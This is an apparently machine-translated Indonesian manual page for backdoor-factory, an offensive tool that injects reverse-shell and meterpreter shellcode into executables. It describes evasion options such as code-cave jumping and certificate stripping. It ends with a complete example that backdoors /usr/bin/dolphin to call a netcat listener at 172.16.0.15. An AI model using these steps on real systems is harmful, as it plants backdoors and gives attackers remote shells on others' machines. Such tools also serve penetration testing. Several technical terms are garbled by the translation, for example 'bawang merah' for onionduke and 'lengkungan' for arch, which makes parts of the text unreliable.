backdoor-factory - manual referensi, opsi, contoh perintah

NAMA

backdoor-factory - menyuntikkan shellcode yang telah ditentukan sebelumnya atau yang ditentukan pengguna dalam binari

RINGKASAN

backdoor-factory [options]

KETERANGAN

backdoor-factory menambal binari yang dapat dieksekusi dengan kode shell yang diinginkan pengguna dan melanjutkan eksekusi normal dari keadaan yang telah ditambal.

Alat ini hanya untuk para profesional dan peneliti keamanan.

Alat ini tidak mendukung ELF yang dapat dipindahkan yang dapat dieksekusi (yaitu dikompilasi dengan opsi -fPIE, disarankan oleh persyaratan pengerasan Debian, lihat https://wiki.debian.org/Hardening)

Binari seperti ssh mungkin tidak di-cave dengan benar, seperti binari seperti lumba-lumba (pada saat halaman manual ini ditulis).

PILIHAN:

-h, --help

tampilkan pesan bantuan ini dan keluar

-f FILE, --file=FILE

File ke pintu belakang

-s SHELL, --shell=SHELL

Muatan yang tersedia untuk digunakan. Gunakan 'tampilkan' untuk melihat muatan.

-H HOST, --hostip=HOST

IP C2 untuk koneksi terbalik.

-P PORT, --port=PORT

Port untuk menghubungkan kembali ke shell terbalik atau untuk mendengarkan shell pengikat

-J, --cave_jumping

Pilih opsi ini jika Anda ingin menggunakan code cave jumping untuk lebih menyembunyikan kode shell Anda di biner.

-a, --add_new_section

Mewajibkan agar bagian baru ditambahkan ke exe (sukses lebih baik) tetapi lebih sedikit penghindaran

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Kode shell yang disediakan pengguna, pastikan cocok dengan arsitektur yang Anda targetkan.

-c, --cave

Bendera gua akan menemukan gua kode yang dapat digunakan untuk menyimpan kode shell. Ini akan mencetak ke semua gua kode dengan ukuran tertentu. Bendera -l dapat digunakan dengan pengaturan ini.

-l SHELL_LEN, --shell_length=SHELL_LEN

Untuk digunakan dengan -c untuk membantu menemukan gua kode dengan ukuran berbeda

-o OUTPUT, --output-file=OUTPUT

Jalur file keluaran pintu belakang. Dir induk harus ada

-n NSECTION, --section=NSECTION

Nama bagian baru harus kurang dari tujuh karakter

-d DIR, --directory=DIR

Ini adalah lokasi file yang ingin Anda backdoor. Anda dapat membuat direktori file backdooring lebih cepat dengan memaksa melampirkan codecave ke exe dengan menggunakan pengaturan -a.

-w, --change_access

Bendera ini mengubah bagian yang menampung codecave menjadi RWE. Terkadang ini perlu. Diaktifkan secara default. Jika dinonaktifkan, pintu belakang mungkin gagal.

-i, --injector

Perintah ini mengubah pabrik pintu belakang dalam mekanisme berburu dan menyuntikkan kode shell. Edit pengaturan target di modul injektor.

-u SUFFIX, --suffix=SUFFIX

Untuk digunakan dengan injektor, beri akhiran pada file asli untuk memudahkan pemulihan

-D, --delete_original

Untuk digunakan dengan modul injektor. Perintah ini menghapus file asli. Tidak untuk digunakan dalam sistem produksi. (Penulis tidak bertanggung jawab atas penggunaan bodoh.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Titik awal pada offset disk, dalam byte. Beberapa penulis ingin mengaburkan offset disk mereka untuk menghindari rekayasa balik, jika Anda menemukan salah satu file tersebut, gunakan flag ini, setelah Anda menemukan offset.

-S, --support_check

Untuk menentukan apakah file didukung oleh BDF sebelum melakukan backdoor file. Untuk digunakan sendiri atau dengan verbose. Pemeriksaan ini terjadi secara otomatis jika backdooring dicoba.

-M, --cave-miner

Penggunaan di masa mendatang, untuk membantu menentukan kode shell sekecil mungkin dalam file PE

-q, --no_banner

Membunuh spanduk.

-v, --verbose

Untuk output informasi debug.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Hanya binari tipe ALL, x86, atau x64. Standar=SEMUA

-Z, --zero_cert

Mengizinkan penimpaan pointer ke tabel sertifikat PE secara efektif menghapus sertifikat dari biner untuk semua maksud dan tujuan.

-R, --runas_admin

EKSPERIMENTAL Memeriksa binari PE untuk 'requestedExecutionLevel level="highestAvailable"'. Jika string ini disertakan dalam biner, string tersebut harus dijalankan sebagai sistem/admin. Jika tidak dalam mode Pemeriksaan Dukungan, ia akan mencoba menambal yang tersedia tertinggi ke dalam manifes jika ada entri Tingkat Eksekusi yang diminta.

-L, --patch_dll

Gunakan pengaturan ini jika Anda TIDAK ingin menambal DLL. Patch secara default.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Untuk format MACH-O. Jika file gemuk, fokuskan pada lengkungan mana yang akan ditambal. Standarnya adalah x64. Untuk memaksa x86 gunakan -F x86, untuk memaksa kedua lengkungan gunakan -F ALL.

-B BEACON, --beacon=BEACON

Untuk muatan yang memiliki kemampuan mercusuar, atur waktu dalam detik

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Metode patch untuk file PE, 'manual', 'otomatis', replace dan onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Untuk bawang merah. Berikan biner yang Anda inginkan.

-X, --xp_mode

Default: JANGAN mendukung mesin lama XP, gunakan -X untuk mendukung XP. Secara default, biner akan macet di mesin XP (mis. Kotak pasir)

-A, --idt_in_cave

EKSPERIMENTAL Secara default Tabel Direktori Impor baru dibuat di bagian baru, dengan memanggil bendera ini akan diletakkan di gua kode. Ini dapat menyebabkan kegagalan biner dalam beberapa kasus. Uji pada binari target terlebih dahulu.

-C, --code_sign

Bagi mereka yang memiliki sertifikat codesigning yang hanya ingin menandatangani binari PE. Beri nama kunci penandatanganan dan kunci pribadi Anda masing-masing signaturecert.cer dan signingPrivateKey.pem di direktori certs terserah Anda untuk mendapatkan sertifikat penandatanganan.

-p, --preprocess

Untuk mengeksekusi skrip preprocessing di direktori preprocess

TENTANG SHELLCODES

Ada berbagai shellcode yang telah ditentukan di backdoor-factory. Ketersediaannya bergantung pada jenis target (ELF32, ELF64, PE32...). Daftar shellcodes didefinisikan di bawah ini.

untuk semua berbasis intel (arsitektur x86 dan x86_64)

reverse_shell_tcp

perlu: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh

delay_reverse_shell_tcp

perlu: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh

beaconing_reverse_shell_tcp

perlu: suar, host jarak jauh dan port yang harus disetel izin: akses shell jarak jauh

user_supplied_shellcode

perlu: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell

Shellcode khusus Linux

reverse_tcp_stager

perlu: izin:

Kode shell Windows PE32 exe

reverse_shell_tcp_inline

kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh

reverse_shell_tcp_stager_threaded

kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: Menyuntikkan DLL server meterpreter melalui muatan Injeksi Dll Reflektif

meterpreter_reverse_https_threaded

kebutuhan: host jarak jauh dan port yang akan disetel izin: meterpreter melalui transpor https

user_applied_shellcode_threaded

kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell

iat_reverse_tcp_inline

kebutuhan: host jarak jauh dan port yang akan diatur izin:

iat_reverse_tcp_inline_threaded

kebutuhan: host jarak jauh dan port yang akan diatur izin:

iat_reverse_tcp_stager_threaded

kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: Menyuntikkan DLL server meterpreter melalui muatan Injeksi Dll Reflektif

iat_user_applied_shellcode_threaded

kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell

Kode shell Windows PE64 exe

delay_reverse_shell_tcp

kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh

reverse_shell_tcp

kebutuhan: host jarak jauh dan port yang akan ditetapkan izin: akses shell jarak jauh

beaconing_reverse_shell_tcp

kebutuhan: suar, host jarak jauh dan port yang akan disetel izin: akses shell jarak jauh

user_supplied_shellcode

kebutuhan: kode shell yang ditentukan pengguna siap menyuntikkan izin: bergantung pada kode shell

CONTOH

Contoh cavecoding biner ELF, dengan mengintegrasikan akses shell jarak jauh melalui pendengar TCP jarak jauh (mis. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

Di host di belakang IP 172.16.0.15, jalankan netcat dalam mode mendengarkan:

netcat -l 172.16.0.15 8080

Pada target, mulai biner backdoor:

./backdoored/dolphin

Sekarang, di host 172.16.0.15, gunakan saja shell Anda.

SEJARAH

Mei 2017, Awalnya disusun oleh Philippe Thierry (phil at reseau-libre dot com)